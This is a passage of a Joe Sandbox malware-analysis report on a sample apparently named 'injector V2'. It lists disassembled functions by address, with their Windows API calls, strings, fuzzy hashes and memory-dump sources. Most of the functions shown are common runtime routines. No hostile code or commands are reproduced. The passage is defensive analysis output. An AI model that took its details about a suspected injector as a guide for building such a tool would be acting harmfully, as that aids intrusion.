Function 00606E00 Relevance: 3.0, APIs: 2, Instructions: 38
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(00619D20,0000000C), ref: 00606E13
ExitThread.KERNEL32 ref: 00606E1A

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: 9273cea1359a8cd5b1dec7242cdb32f0899299b399a183372a4f3f7670bb74e5
Instruction ID: 639bf852f513e4bd1a7e86a61112fd64e867906a323e59d9116198dbe5d79728
Opcode Fuzzy Hash: 9273cea1359a8cd5b1dec7242cdb32f0899299b399a183372a4f3f7670bb74e5
Instruction Fuzzy Hash: BEF08C70A80605AFDB09AFB0C85AAAF3BA7EF00700F14854EF002972D2DB709911CBA1

Function 0060B0CB Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,0060BC39,?,00000000,?,?,0060BB55,?,00000007,?,?,0060C16E,?,?), ref: 0060B0E1
GetLastError.KERNEL32(?,?,0060BC39,?,00000000,?,?,0060BB55,?,00000007,?,?,0060C16E,?,?), ref: 0060B0EC

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 05e8e65d62c54a59a502f731f4d7f00bb072440191ce1dabcf6f96e9da325ab7
Instruction ID: 3b5f620a3ffac7b2bcaed55e7159db2d8cb074447e49f6768cabae9957e1f32a
Opcode Fuzzy Hash: 05e8e65d62c54a59a502f731f4d7f00bb072440191ce1dabcf6f96e9da325ab7
Instruction Fuzzy Hash: 8CE08C32580208ABCB192FA0FC09BDA3A9FAB84751F04A065F608861A1CB708950CB98

Function 00603B60 Relevance: 1.6, APIs: 1, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5423aba5b85dec8aebf114e6cded1a475a53ec1a84bd7b75e0df2c0d3a23d92
Instruction ID: 51aab3032d35d61e655ef71a9cc28e3a15da399c54b37b43f3ed9287d15a85db
Opcode Fuzzy Hash: d5423aba5b85dec8aebf114e6cded1a475a53ec1a84bd7b75e0df2c0d3a23d92
Instruction Fuzzy Hash: C131F4B0D442198BDB08DFA9C5946AEBBF6FF48301F10842EE456EB390DB359A05CF55

Function 00609E9E Relevance: 1.6, APIs: 1, Instructions: 56
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c2913208265aec74a130cc34b940ccd1f65965af0d64dd754759090f658618c
Instruction ID: fb974d20338cf70ffbfaa17e31ffedcda61ca9f5fad421888ace8244c394b110
Opcode Fuzzy Hash: 7c2913208265aec74a130cc34b940ccd1f65965af0d64dd754759090f658618c
Instruction Fuzzy Hash: A601F5336442169BDB0A8F69EC40A9777ABFBC532072C9029F904CB2D6EB30D80187E4

Function 005FCD90 Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateEllipticRgn.GDI32 ref: 005FCDF9

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID: CreateElliptic
String ID:
API String ID: 1611293138-0
Opcode ID: ed0f63bc439ae1df1e89522c6e8466343d0d01846d10244772c6e37f2a37632b
Instruction ID: 0a6f6c20ffd8e2da6c8816ea4df61c36c5397c33cc0b363a0cea75b53ad62a81
Opcode Fuzzy Hash: ed0f63bc439ae1df1e89522c6e8466343d0d01846d10244772c6e37f2a37632b
Instruction Fuzzy Hash: A511D6B0D002099BDB04EFA8C5597AEBBF5FF88304F40882DD855A7350EB786644CB91

Function 0060BC45 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000000,?,006041E0,?,?,00601007,?,005FFAB5), ref: 0060BC77

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c93175f7b281ee196f3fa48f4a7038f6d3ec03f4cf3d0eee58ba05a2fcb2a433
Instruction ID: 515b0f45dfbcd6dba043a3fcb36818ab850376d5833dc64052bef478c4920520
Opcode Fuzzy Hash: c93175f7b281ee196f3fa48f4a7038f6d3ec03f4cf3d0eee58ba05a2fcb2a433
Instruction Fuzzy Hash: 5FE0E5355C065157F72D2661DC05BEF3A4B9F817A0F08F121BC14962D0CFA0DC01C2E8

Non-executed Functions

Function 00604CA2 Relevance: 143.7, APIs: 41, Strings: 41, Instructions: 180libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00604CB6
GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00604CC4
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00604CD5
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00604CE6
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00604CF7
GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00604D08
GetProcAddress.KERNEL32(00000000,InitOnceExecuteOnce), ref: 00604D19
GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00604D2A
GetProcAddress.KERNEL32(00000000,CreateSemaphoreW), ref: 00604D3B
GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00604D4C
GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00604D5D
GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00604D6E
GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00604D7F
GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00604D90
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00604DA1
GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00604DB2
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00604DC3
GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 00604DD4
GetProcAddress.KERNEL32(00000000,FreeLibraryWhenCallbackReturns), ref: 00604DE5
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumber), ref: 00604DF6
GetProcAddress.KERNEL32(00000000,CreateSymbolicLinkW), ref: 00604E07
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 00604E18
GetProcAddress.KERNEL32(00000000,GetTickCount64), ref: 00604E29
GetProcAddress.KERNEL32(00000000,GetFileInformationByHandleEx), ref: 00604E3A
GetProcAddress.KERNEL32(00000000,SetFileInformationByHandle), ref: 00604E4B
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00604E5C
GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 00604E6D
GetProcAddress.KERNEL32(00000000,WakeConditionVariable), ref: 00604E7E
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00604E8F
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00604EA0
GetProcAddress.KERNEL32(00000000,InitializeSRWLock), ref: 00604EB1
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 00604EC2
GetProcAddress.KERNEL32(00000000,TryAcquireSRWLockExclusive), ref: 00604ED3
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 00604EE4
GetProcAddress.KERNEL32(00000000,SleepConditionVariableSRW), ref: 00604EF5
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWork), ref: 00604F06
GetProcAddress.KERNEL32(00000000,SubmitThreadpoolWork), ref: 00604F17
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWork), ref: 00604F28
GetProcAddress.KERNEL32(00000000,CompareStringEx), ref: 00604F39
GetProcAddress.KERNEL32(00000000,GetLocaleInfoEx), ref: 00604F4A
GetProcAddress.KERNEL32(00000000,LCMapStringEx), ref: 00604F5B

Strings

kernel32.dll, xrefs: 00604CB1
FlushProcessWriteBuffers, xrefs: 00604DC9
SleepConditionVariableSRW, xrefs: 00604EEA
FlsAlloc, xrefs: 00604CBE
CreateSymbolicLinkW, xrefs: 00604E01
LCMapStringEx, xrefs: 00604F50
TryAcquireSRWLockExclusive, xrefs: 00604EC8
WakeAllConditionVariable, xrefs: 00604E84
GetCurrentProcessorNumber, xrefs: 00604DEB
GetFileInformationByHandleEx, xrefs: 00604E2F
InitializeCriticalSectionEx, xrefs: 00604CFD
GetTickCount64, xrefs: 00604E1E
GetLocaleInfoEx, xrefs: 00604F3F
FlsGetValue, xrefs: 00604CDB
GetSystemTimePreciseAsFileTime, xrefs: 00604E51
CreateSemaphoreExW, xrefs: 00604D41
WakeConditionVariable, xrefs: 00604E73
CreateThreadpoolWait, xrefs: 00604D96
CompareStringEx, xrefs: 00604F2E
AcquireSRWLockExclusive, xrefs: 00604EB7
CloseThreadpoolWork, xrefs: 00604F1D
ReleaseSRWLockExclusive, xrefs: 00604ED9
InitializeSRWLock, xrefs: 00604EA6
CloseThreadpoolWait, xrefs: 00604DB8
FlsFree, xrefs: 00604CCA
CreateSemaphoreW, xrefs: 00604D30
SetThreadpoolWait, xrefs: 00604DA7
CreateThreadpoolTimer, xrefs: 00604D52
CreateEventExW, xrefs: 00604D1F
CreateThreadpoolWork, xrefs: 00604EFB
InitOnceExecuteOnce, xrefs: 00604D0E
SetThreadpoolTimer, xrefs: 00604D63
InitializeConditionVariable, xrefs: 00604E62
SleepConditionVariableCS, xrefs: 00604E95
FlsSetValue, xrefs: 00604CEC
WaitForThreadpoolTimerCallbacks, xrefs: 00604D74
SubmitThreadpoolWork, xrefs: 00604F0C
FreeLibraryWhenCallbackReturns, xrefs: 00604DDA
GetCurrentPackageId, xrefs: 00604E0D
CloseThreadpoolTimer, xrefs: 00604D85
SetFileInformationByHandle, xrefs: 00604E40

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$CloseThreadpoolTimer$CloseThreadpoolWait$CloseThreadpoolWork$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSemaphoreW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$CreateThreadpoolWork$FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetFileInformationByHandleEx$GetLocaleInfoEx$GetSystemTimePreciseAsFileTime$GetTickCount64$InitOnceExecuteOnce$InitializeConditionVariable$InitializeCriticalSectionEx$InitializeSRWLock$LCMapStringEx$ReleaseSRWLockExclusive$SetFileInformationByHandle$SetThreadpoolTimer$SetThreadpoolWait$SleepConditionVariableCS$SleepConditionVariableSRW$SubmitThreadpoolWork$TryAcquireSRWLockExclusive$WaitForThreadpoolTimerCallbacks$WakeAllConditionVariable$WakeConditionVariable$kernel32.dll
API String ID: 667068680-295688737
Opcode ID: 386a28745b337e0e84bb090383977d3a84e2e2090bec2c1bcffd76ff4af7bb0b
Instruction ID: 2d4544639c0fabbb2334cd06875d6fac6bfdb0125b7a98165589cac8d6c21863
Opcode Fuzzy Hash: 386a28745b337e0e84bb090383977d3a84e2e2090bec2c1bcffd76ff4af7bb0b
Instruction Fuzzy Hash: CD613575996350ABE7406FF5EC5D8CA3FEBAB0971230EE817B101D3260DBB451828BB5

Function 005FCE70 Relevance: 8.0, APIs: 5, Instructions: 518threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 005FCF90
std::_Throw_Cpp_error.LIBCPMT ref: 005FD216

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID: Cpp_errorCurrentThreadThrow_std::_
String ID:
API String ID: 350343453-0
Opcode ID: e6b7c7d14fbca21d0e79fd8eea4e97c9bbf768a521a47d06a08dc5c1d137c173
Instruction ID: 263d024553474c50fac00b954fc2af60708860f46fe9694a3196f39d15348260
Opcode Fuzzy Hash: e6b7c7d14fbca21d0e79fd8eea4e97c9bbf768a521a47d06a08dc5c1d137c173
Instruction Fuzzy Hash: 4AF10872E505144FEB008A7CC9A83EF6FE79B66330F2A5729DA745B7D2D62B04098F50

Function 0060C7DB Relevance: 6.2, APIs: 4, Instructions: 206fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000), ref: 0060C8CB
FindNextFileW.KERNEL32(00000000,?), ref: 0060C9BF
FindClose.KERNEL32(00000000), ref: 0060C9FE
FindClose.KERNEL32(00000000), ref: 0060CA31

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: 45699df9389331cec0b14bccaf363f99abe2f30474594625c36fa51b8c041b3a
Instruction ID: c7169166f64defaf13fef8eb39117115f6dd0b431fa03a5c8cb431edf1e4046d
Opcode Fuzzy Hash: 45699df9389331cec0b14bccaf363f99abe2f30474594625c36fa51b8c041b3a
Instruction Fuzzy Hash: 7771C571D8511C5EDF28EF288C99AEFBBBAAF45310F1482D9E049A3291DB304E859F54

Function 00605444 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00605450
IsDebuggerPresent.KERNEL32 ref: 0060551C
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0060553C
UnhandledExceptionFilter.KERNEL32(?), ref: 00605546

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: f98a11935ad563c2ab333d0adedeea3dd827a648902dfbe8c7a769d64f6ac246
Instruction ID: 536bdf5355725d5218292da1f140347a6c255d01c44a91b0c3a774b3ce24b9eb
Opcode Fuzzy Hash: f98a11935ad563c2ab333d0adedeea3dd827a648902dfbe8c7a769d64f6ac246
Instruction Fuzzy Hash: 4E311875D452189BDF11DFA4D9897CEBBF9BF08304F1080AAE40DAB290EB709A85CF55

Function 00607DCA Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00607EC2
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00607ECC
UnhandledExceptionFilter.KERNEL32(-00000327,?,?,?,?,?,00000000), ref: 00607ED9

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 450d8dda16d6efa1ad592ea350e8da3c94778e39d5780686f5bd2230786d3ce6
Instruction ID: 090189cb60842e2ebe73e14804d61cee46200a39c152a7c9024b7f2ecf17469c
Opcode Fuzzy Hash: 450d8dda16d6efa1ad592ea350e8da3c94778e39d5780686f5bd2230786d3ce6
Instruction Fuzzy Hash: 3D31B3749412189BCB65DF64D889BCEBBB9BF08310F5081EAE41CA7290EB709F858F54

Function 006015A0 Relevance: 4.4, APIs: 2, Instructions: 1444COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 00602437

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID: ___std_exception_destroy
String ID:
API String ID: 4194217158-0
Opcode ID: a340621dc4c0725d217f361c79873cb79f5230ebcb405efa72ec5fc9ff3ca584
Instruction ID: 841f7702da80e4ed265f4249a1f8bedbd3034f6d56b361f367ec860eb198457f
Opcode Fuzzy Hash: a340621dc4c0725d217f361c79873cb79f5230ebcb405efa72ec5fc9ff3ca584
Instruction Fuzzy Hash: 25A26B66A955844FEF014AB884B93DF6FE64B6B330F6A2755C6F06F2D3D50B000B9B60

Function 005FD7F0 Relevance: 2.6, Strings: 1, Instructions: 1327COMMONLIBRARYCODE

Download Yara Rule

Strings

-g}5, xrefs: 005FD8D2

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID:
String ID: -g}5
API String ID: 0-4071012034
Opcode ID: e8575c76f31cbd564eb84687938ece634aea3e3b98c9368093306eb74a3c2c3f
Instruction ID: b32905de734b9babcee309881dbf67720d6c24250e88d5d1f6dd2d1c1e578b85
Opcode Fuzzy Hash: e8575c76f31cbd564eb84687938ece634aea3e3b98c9368093306eb74a3c2c3f
Instruction Fuzzy Hash: 8692AAA6A556C45FEF024AB8D4A93DF6FF24B6B331F6E2B5586E01F2D3C507004A9B10

Function 00611FD2 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00611F2D,?,?,00000008,?,?,00611AFF,00000000), ref: 006121FF

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: efabee2936d2f0fabfddb59335c85a2737da9df6c4620cd88fdd2aa0f0e2342c
Instruction ID: 4328afd350f9cf690555a6811dad18d833e07b25eab97825cdaca1dd3262d17b
Opcode Fuzzy Hash: efabee2936d2f0fabfddb59335c85a2737da9df6c4620cd88fdd2aa0f0e2342c
Instruction Fuzzy Hash: 87B17F3111060A9FD715CF28C496BE57BE2FF05364F298658E999CF3A1C335DAA2CB40

Function 00605200 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00605216

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
